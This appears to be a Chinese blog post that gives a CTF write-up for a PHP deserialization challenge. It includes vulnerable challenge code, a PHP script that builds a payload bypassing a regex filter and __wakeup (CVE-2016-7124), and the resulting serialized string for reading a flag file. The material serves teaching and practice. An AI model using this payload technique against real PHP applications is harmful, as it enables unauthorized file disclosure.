您的位置 首页 php

攻防世界之WEB篇,php反序列化漏洞,网络安全入门篇

预备知识:

PHP序列化和反序列化:

 serialize() //将一个对象转换成一个字符串 
unserialize() //将字符串还原成一个对象  

通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。本质上反序列化是没有危害的。但是如果用户对 数据可控 那就可以利用反序列化构造payload攻击。

在利用对PHP反序列化进行利用时,经常需要通过反序列化中的魔术方法,检查方法里有无敏感操作来进行利用。

常见方法

 __construct()//创建对象时触发
 __destruct() //对象被销毁时触发
 __call() //在对象上下文中调用不可访问的方法时触发
 __callStatic() //在静态上下文中调用不可访问的方法时触发
 __get() //用于从不可访问的属性读取数据
 __set() //用于将数据写入不可访问的属性 
__isset() //在不可访问的属性上调用isset()或empty()触发 
__unset() //在不可访问的属性上使用unset()时触发
 __invoke() //当脚本尝试将对象调用为函数时触发  

比较重要的方法

__sleep()

serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误。

对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。

__wakeup()

unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。

本题解法

该题只需要注意一个wakeup函数即可,可知我们需要绕过wakeup函数,(绕过特性,当输入的参数个数小于你定义的参数个数时)

此处把序列化语句中的1替换成2(CVE-2016-7124),即当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。

打开题目是一段代码:


 <?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() {  //需要绕过_wakeup.
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php  
            $this->file = 'index.php';  //如果文件不是index.php ,_wakeup函数会把文件转成index.php
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']);   //base64解密
    if (preg_match('/[oc]:\d+:/i', $var)) {    //对输入的参数进行过滤(就是过滤序列化化之后的格式)
        die('stop hacking!'); 
    } else {
        @unserialize($var);     //反序列化$var, 触发_wakeup()
    } 
} else { 
    highlight_file("index.php"); 
} 
?>  

注释已经告诉我们flag的文件,我们只需要把flag当作参数,传递过去,就可以高亮显示了。

但是由于正则的匹配,还有_wakeup 的自动转转,我们需要绕过他们。

  1. 绕过正则:
  2. 绕过魔术函数

我们可以看下当var=fl4g.php的时候:

我们可以把O:4 替换为O:+4,这样既不改变原有意思,也能绕过正则。

反序列化之后的1代表属性为1,我们把1 改成2 ,那么就能绕过——wakeup了。

下面是代码:

 <?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$var='fl4g.php';
$a =new Demo($var);
$b=serialize($a);
$b=str_replace('O:4','O:+4',$b);     
$b= str_replace(':1:',':2:',$b); 
echo base64_encode($b);  

运行结果


总结:

在对序列化进行替换的时候,最好使用函数直接替换,刚开始的时候,我是将序列化之后的字符串认为改的,然后多字符串进行base64 加密,但是,发现结果是错的,通过查阅资料,发现:

在序列化私有变量时,形成的序列化字符串与公共变量变量的序列化字符串不一样。

上述的file变量在实际中下会生成”O:4:”Demo”:1:{s:10:” Demo file”;s:8:”fl4g.php”;}”

注意这里的Demo file 前面个有一个空格,如果在url中直接输入序列化字符串需要将空格转换成%00即构造

“O:+4:”Demo”:2:{s:10:”%00Demo%00file”;s:8:”fl4g.php”;}”否则会出现变量不对应的问题。

文章来源:智云一二三科技

文章标题:攻防世界之WEB篇,php反序列化漏洞,网络安全入门篇

文章地址:https://www.zhihuclub.com/77814.shtml

关于作者: 智云科技

热门文章

网站地图